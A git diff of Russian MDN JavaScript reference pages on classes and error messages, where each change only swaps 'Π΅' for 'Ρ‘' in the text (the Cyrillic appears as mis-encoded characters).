--- a/files/ru/web/javascript/reference/classes/public_class_fields/index.html
+++ b/files/ru/web/javascript/reference/classes/public_class_fields/index.html
@@ -172,7 +172,7 @@ console.log(instance.publicMethod());
}</pre>
<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² экзСмпляра, <code>this</code> ссылаСтся Π½Π° сам экзСмпляр.<br>
- Π’ классах наслСдниках,Β <code>super</code>Β Π΄Π°Π΅Ρ‚ доступ ΠΊ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΡƒ Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ класса, позволяя Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹.</p>
+ Π’ классах наслСдниках,Β <code>super</code>Β Π΄Π°Ρ‘Ρ‚ доступ ΠΊ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΡƒ Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ класса, позволяя Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹.</p>
<pre class="brush: js notranslate">class BaseClass {
Β  msg = 'hello world';
diff --git a/files/ru/web/javascript/reference/classes/static/index.html b/files/ru/web/javascript/reference/classes/static/index.html
index 58ea5996c1..f97c9db2f3 100644
--- a/files/ru/web/javascript/reference/classes/static/index.html
+++ b/files/ru/web/javascript/reference/classes/static/index.html
@@ -116,7 +116,7 @@ console.log(tp.triple());
<h2 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_Π²_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ запрос Π½Π° слияниС.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ запрос Π½Π° слияниС.</div>
<p>{{Compat("javascript.classes.static")}}</p>
diff --git a/files/ru/web/javascript/reference/errors/already_has_pragma/index.html b/files/ru/web/javascript/reference/errors/already_has_pragma/index.html
index 5de1095a97..e976c9a07d 100644
--- a/files/ru/web/javascript/reference/errors/already_has_pragma/index.html
+++ b/files/ru/web/javascript/reference/errors/already_has_pragma/index.html
@@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Reference/Errors/Already_has_pragma
<p>Для Π΄Π°Π½Π½ΠΎΠ³ΠΎ источника JavaScript исходная ΠΊΠ°Ρ€Ρ‚Π° Π±Ρ‹Π»Π° ΡƒΠΊΠ°Π·Π°Π½Π° нСсколько Ρ€Π°Π·.</p>
-<p>Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊΠΈ JavaScript часто ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡ ΠΈ ΠΌΠΈΠ½ΠΈΠΌΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‚ΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΡ… доставку с сСрвСра Π±ΠΎΠ»Π΅Π΅ эффСктивной. Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сопоставлСний исходного ΠΊΠΎΠ΄Π° ΠΎΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ выполняСмый ΠΊΠΎΠ΄ с исходными Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ. БущСствуСт Π΄Π²Π° способа назначСния исходной ΠΊΠ°Ρ€Ρ‚Ρ‹: с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ коммСнтария ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Π΅ΠΌ установки Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° для Ρ„Π°ΠΉΠ»Π° JavaScript.</p>
+<p>Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊΠΈ JavaScript часто ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡ ΠΈ ΠΌΠΈΠ½ΠΈΠΌΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‚ΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΡ… доставку с сСрвСра Π±ΠΎΠ»Π΅Π΅ эффСктивной. Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сопоставлСний исходного ΠΊΠΎΠ΄Π° ΠΎΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ выполняСмый ΠΊΠΎΠ΄ с исходными Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ. БущСствуСт Π΄Π²Π° способа назначСния исходной ΠΊΠ°Ρ€Ρ‚Ρ‹: с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ коммСнтария ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Ρ‘ΠΌ установки Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° для Ρ„Π°ΠΉΠ»Π° JavaScript.</p>
<p>Β </p>
diff --git a/files/ru/web/javascript/reference/errors/bad_radix/index.html b/files/ru/web/javascript/reference/errors/bad_radix/index.html
index b3e84de1e7..c4cc82a20b 100644
--- a/files/ru/web/javascript/reference/errors/bad_radix/index.html
+++ b/files/ru/web/javascript/reference/errors/bad_radix/index.html
@@ -25,7 +25,7 @@ RangeError: toString() radix argument must be between 2 and 36 (Chrome)
<p><span class="notranslate">ΠŸΠΎΡ‡Π΅ΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ большС, Ρ‡Π΅ΠΌ 36? Для оснований</span><span class="notranslate">, ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ°ΡŽΡ‰ΠΈΡ… 10, Π² качСствС Ρ†ΠΈΡ„Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π°Π»Ρ„Π°Π²ΠΈΡ‚Π½Ρ‹Π΅ символы;</span> <span class="notranslate"> ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, основаниС Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ большС 36, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π² латинском Π°Π»Ρ„Π°Π²ΠΈΡ‚Π΅ (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠΌ английским ΠΈ ΠΌΠ½ΠΎΠ³ΠΈΠΌΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ языками) Ρ‚ΠΎΠ»ΡŒΠΊΠΎ 26 символов.</span></p>
-<p><span class="notranslate">НаиболСС распространСнныС основания систСм счислСния:</span></p>
+<p><span class="notranslate">НаиболСС распространённыС основания систСм счислСния:</span></p>
<ul>
<li>2 для <a href="https://ru.wikipedia.org/wiki/Двоичная_систСма_счислСния">Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹Ρ… чисСл</a>,</li>
diff --git a/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html b/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html
index 549b5ae654..c5c63a7200 100644
--- a/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html
+++ b/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html
@@ -17,7 +17,7 @@ SyntaxError: Invalid regular expression flags (Chrome)
<h2 id="Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π°ΠΊ">Π§Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ?</h2>
-<p>Π’ ΠΊΠΎΠ΄Π΅ Π΅ΡΡ‚ΡŒ нСдопустимыС Ρ„Π»Π°Π³ΠΈ рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ.Β Π›ΠΈΡ‚Π΅Ρ€Π°Π» в рСгулярном Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡΠΎΠ΄Π΅Ρ€ΠΆΠΈΡ‚Β ΡˆΠ°Π±Π»ΠΎΠ½Β Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ двумя слСшами, Ρ„Π»Π°Π³ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ послС Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ Ρ„Π»Π°Π³Π°. Они Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Ρ‹ Π² конструкторС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ {{jsxref("RegExp")}} object (Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€). Π€Π»Π°Π³ΠΈ рСгулярного выраТСния ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ ΠΈΠ»ΠΈ вмСстС Π² любой очСрСдности, Π½ΠΎ Π² ECMAScript ΠΈΡ… Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡΡ‚ΡŒ.</p>
+<p>Π’ ΠΊΠΎΠ΄Π΅ Π΅ΡΡ‚ΡŒ нСдопустимыС Ρ„Π»Π°Π³ΠΈ рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ.Β Π›ΠΈΡ‚Π΅Ρ€Π°Π» в рСгулярном Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡΠΎΠ΄Π΅Ρ€ΠΆΠΈΡ‚Β ΡˆΠ°Π±Π»ΠΎΠ½Β Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ двумя слСшами, Ρ„Π»Π°Π³ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ послС Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ Ρ„Π»Π°Π³Π°. Они Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Ρ‹ Π² конструкторС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ {{jsxref("RegExp")}} object (Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€). Π€Π»Π°Π³ΠΈ рСгулярного выраТСния ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ ΠΈΠ»ΠΈ вмСстС Π² любой очСрёдности, Π½ΠΎ Π² ECMAScript ΠΈΡ… Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡΡ‚ΡŒ.</p>
<p>Π§Ρ‚ΠΎΠ± Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ„Π»Π°Π³ Π² рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ синтаксис:</p>
diff --git a/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html b/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html
index dd69cb3167..17a6e16436 100644
--- a/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html
+++ b/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html
@@ -22,7 +22,7 @@ SyntaxError: yield not in function (Firefox)
<h2 id="Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π°ΠΊ">Π§Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ?</h2>
-<p>Π’Ρ‹Π·ΠΎΠ² ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code> ΠΈΠ»ΠΈ <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> Π±Ρ‹Π» осущСствлСн Π²Π½Π΅ <a href="/ru/docs/Web/JavaScript/Guide/Functions">Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</a>. ΠœΠΎΠΆΠ΅Ρ‚, Π³Π΄Π΅-Ρ‚ΠΎ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½Π° фигурная скобка? ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ <code>return</code> ΠΈ <code>yield</code> Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π²Π½Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‚ (ΠΈΠ»ΠΈ ΠΎΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ ΠΈ Π²ΠΎΠ·ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚) Π΅Ρ‘ исполнСниС ΠΈ ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π² мСсто, ΠΎΡ‚ΠΊΡƒΠ΄Π° ΠΎΠ½Π° Π±Ρ‹Π»Π° Π²Ρ‹Π·Π²Π°Π½Π°.</p>
+<p>Π’Ρ‹Π·ΠΎΠ² ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code> ΠΈΠ»ΠΈ <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> Π±Ρ‹Π» осущСствлён Π²Π½Π΅ <a href="/ru/docs/Web/JavaScript/Guide/Functions">Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</a>. ΠœΠΎΠΆΠ΅Ρ‚, Π³Π΄Π΅-Ρ‚ΠΎ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½Π° фигурная скобка? ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ <code>return</code> ΠΈ <code>yield</code> Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π²Π½Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‚ (ΠΈΠ»ΠΈ ΠΎΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ ΠΈ Π²ΠΎΠ·ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚) Π΅Ρ‘ исполнСниС ΠΈ ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π² мСсто, ΠΎΡ‚ΠΊΡƒΠ΄Π° ΠΎΠ½Π° Π±Ρ‹Π»Π° Π²Ρ‹Π·Π²Π°Π½Π°.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html b/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html
index 0d309530e6..9c1182eb7c 100644
--- a/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html
+++ b/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html
@@ -12,7 +12,7 @@ translation_of: Web/JavaScript/Reference/Errors/Called_on_incompatible_type
<pre class="syntaxbox">TypeError: 'this' Π½Π΅ являСтся Set ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ (EdgE)
TypeError: Function.prototype.toString вызываСтся нСсовмСстимый ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ (Firefox)
TypeError: Function.prototype.bind вызываСтся нСсовмСстимая Ρ†Π΅Π»ΡŒ (Firefox)
-TypeError: ΠœΠ΅Ρ‚ΠΎΠ΄ Set.prototype.add called вызываСтся нСсовмСстимый ΠΏΡ€ΠΈΠ΅ΠΌΠ½ΠΈΠΊ undefined (Chrome)
+TypeError: ΠœΠ΅Ρ‚ΠΎΠ΄ Set.prototype.add called вызываСтся нСсовмСстимый ΠΏΡ€ΠΈΡ‘ΠΌΠ½ΠΈΠΊ undefined (Chrome)
TypeError: Bind Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ(Chrome)
</pre>
diff --git a/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html b/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html
index e5c0553e8a..294f115dac 100644
--- a/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html
+++ b/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html
@@ -21,7 +21,7 @@ ReferenceError: 'x' is not defined (Chrome)
<h2 id="Π§Ρ‚ΠΎ_ΡΠ»ΡƒΡ‡ΠΈΠ»ΠΎΡΡŒ">Π§Ρ‚ΠΎ ΡΠ»ΡƒΡ‡ΠΈΠ»ΠΎΡΡŒ?</h2>
-<p>ΠŸΠΎΠΏΡ‹Ρ‚ΠΊΠ° доступа ΠΊ лСксичСской ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π΄ΠΎ Π΅Π΅ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ Π² любом Π±Π»ΠΎΠΊΠ΅, Ссли ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, объявлСнной с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code>Β ΠΈΠ»ΠΈΒ <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code>Β Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΈΠΌ Π±Ρ‹Π»ΠΎ присвоСно Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
+<p>ΠŸΠΎΠΏΡ‹Ρ‚ΠΊΠ° доступа ΠΊ лСксичСской ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π΄ΠΎ Π΅Ρ‘ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ Π² любом Π±Π»ΠΎΠΊΠ΅, Ссли ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, объявлСнной с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code>Β ΠΈΠ»ΠΈΒ <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code>Β Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΈΠΌ Π±Ρ‹Π»ΠΎ присвоСно Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/javascript/reference/errors/cant_access_property/index.html b/files/ru/web/javascript/reference/errors/cant_access_property/index.html
index df4ab49b2a..01d353480c 100644
--- a/files/ru/web/javascript/reference/errors/cant_access_property/index.html
+++ b/files/ru/web/javascript/reference/errors/cant_access_property/index.html
@@ -1,6 +1,6 @@
---
title: >-
- TypeError: can't access property "x" of "y"(Π’ΠΈΠΏ ошибки: Π½Π΅ удаСтся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ
+ TypeError: can't access property "x" of "y"(Π’ΠΈΠΏ ошибки: Π½Π΅ удаётся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ
доступ ΠΊ свойству "x" ΠΈΠ· "y")
slug: Web/JavaScript/Reference/Errors/Cant_access_property
translation_of: Web/JavaScript/Reference/Errors/Cant_access_property
@@ -9,16 +9,16 @@ translation_of: Web/JavaScript/Reference/Errors/Cant_access_property
<h2 id="Message">Message</h2>
-<pre class="syntaxbox">TypeError: Π½Π΅ удаСтся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ свойство {x} Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ ΠΈΠ»ΠΈ Π½ΡƒΠ»Π΅Π²ΠΎΠΉ ссылки (Edge)
-TypeError: Π½Π΅ удаСтся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойству {x} of {y} (Firefox)
-TypeError: {y} Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойству {x} (Firefox)
+<pre class="syntaxbox">TypeError: Π½Π΅ удаётся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ свойство {x} Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ ΠΈΠ»ΠΈ Π½ΡƒΠ»Π΅Π²ΠΎΠΉ ссылки (Edge)
+TypeError: Π½Π΅ удаётся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойству {x} of {y} (Firefox)
+TypeError: {y} Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойству {x} (Firefox)
TypeError: {y} ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ null, Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойству {x} (Firefox)
ΠžΠ±Ρ€Π°Π·Ρ†Ρ‹:
-TypeError: x Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойству "prop"
+TypeError: x Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойству "prop"
TypeError: x ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ null, Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойству "prop"
-TypeError: Π½Π΅ удаСтся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойству "prop" Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ
-TypeError: Π½Π΅ удаСтся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойству "prop" значСния null
+TypeError: Π½Π΅ удаётся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойству "prop" Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ
+TypeError: Π½Π΅ удаётся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойству "prop" значСния null
</pre>
@@ -36,7 +36,7 @@ TypeError: Π½Π΅ удаСтся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойству
<pre class="brush: js example-bad">// undefined and null cases on which the substring method won't work
var foo = undefined;
-foo.substring(1); // TypeError: x Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойству substring
+foo.substring(1); // TypeError: x Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойству substring
var foo = null;
